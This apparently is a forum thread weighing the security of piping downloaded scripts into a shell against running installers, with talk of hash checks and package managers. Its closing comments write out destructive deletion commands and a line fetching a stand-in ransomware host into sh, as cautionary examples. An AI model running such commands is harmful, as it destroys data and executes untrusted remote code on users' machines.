How about if instead we exercise critical thinking and make our own assessment of the risk and act accordingly? Why would you choose not to pipe a shell script from a site you don’t trust but execute their installer instead?
If you don’t want to pipe it, download it and read it first.
But I don't pretend there's no security risk in doing so. Like you advised, I exercise critical thinking, and then I take a risk.
On someone else's production machine, or a container with sensitive data, that risk is too high. On a fun machine in isolation it's fine.
The GPP asks what's the security difference between inspecting and not inspecting the downloaded command.
> or that they have been compromised by a malicious actor without being detected at the same time you run the installer
Installers are compromised quite often by malicious actors. Running an installer is just as dubious as running "curl | sh".
However, replacing an installer with one that looks the same but is actually malicious, is a lot more work than replacing a blind script with one that looks the same but is actually malicious.
And the risk of a malicious blind script going unnoticed is higher than a compromised installer when the SHA256 is shown to be checked alongside the latter's link, simply because the attacker would need to change two places instead of one. Yes I do check hashes of installers when that's possible and there isn't a package manager already doing so. It's a good idea anyway in case of a corrupted download file, which I do see from time to time.
Pretty close. Some of them install all sorts of wacky dependencies through non-traditional means. Like you curl an install script and then it goes and curls a whole bunch of other stuff.
Massive PITA to track all the changes that it made and uninstall it.
Package managers were made for a reason, and people should use them.
Something like: curl https://ransomeware-encryptor.example.com | script-checker | sh
The difference is between inspecting the executed command, and blindly executing something where you have no idea what it's going to do.
For example, maybe the URL contents is "rm --no-preserve-root -fr /". Or "rm -fr /home/*/Pictures 2>/dev/null". Or "curl https://ransomeware-encryptor.example.com | sh".
No problem if you inspect it first. Lots of unhappiness and heartbreak if you don't.